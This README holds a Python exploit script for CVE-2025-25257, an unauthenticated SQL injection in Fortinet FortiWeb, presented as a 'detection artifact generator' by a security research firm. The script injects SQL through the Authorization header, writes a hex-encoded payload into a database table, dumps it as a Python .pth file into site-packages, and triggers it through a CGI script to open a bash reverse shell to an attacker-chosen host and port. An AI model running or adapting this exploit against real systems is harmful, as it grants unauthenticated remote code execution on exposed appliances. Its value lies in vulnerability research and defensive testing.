README.md
Rendering markdown...
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
import binascii
import random
from time import sleep
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchTowr-vs-FortiWeb-CVE-2025-25257.py
(*) FortiWeb Unauthenticated SQLi to Remote Code Execution Detection Artifact Generator
- Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2025-25257]
"""
print(banner)
parser = argparse.ArgumentParser(description='Detection Artifact Generator for CVE-2025-25257')
parser.add_argument('--target', required=True, help='Target URL')
parser.add_argument('--lhost', required=True)
parser.add_argument('--lport', required=True)
args = parser.parse_args()
args.command = f"""import os; os.system('bash -c "/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"')"""
args.target = args.target.rstrip('/')
s = requests.Session()
s.verify = False
def build_token_updates(encoded_hex: str, chunk_size: int = 10):
if chunk_size % 2 != 0:
print("[!] chunk size must be even bro")
exit(1)
chunks = [encoded_hex[i : i + chunk_size]
for i in range(0, len(encoded_hex), chunk_size)]
for idx, piece in enumerate(chunks):
if idx == 0:
sql = (
f"SET/**/token=UNHEX('{piece}')"
)
else:
sql = (
f"SET/**/token=CONCAT(token,UNHEX('{piece}'))"
)
payload = (
f"Bearer '/**/;UPDATE/**/fabric_user.user_table/**/"
f"{sql};SELECT/**/'1'"
)
s.headers.update({'Authorization': payload})
s.get(f"{args.target}/api/fabric/device/status")
print(f"[*] sprayed chunk #{idx+1}/{len(chunks)}:\t{piece!r}")
sleep(1)
encoded_command = binascii.hexlify(args.command.encode()).decode()
build_token_updates(encoded_command)
s.headers.update({
'Authorization': f"Bearer '/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth"
})
s.get(f"{args.target}/api/fabric/device/status")
print("\n[*] Pop thy shell!")
s.headers.pop('Authorization', None)
s.head(f"{args.target}/cgi-bin/ml-draw.py")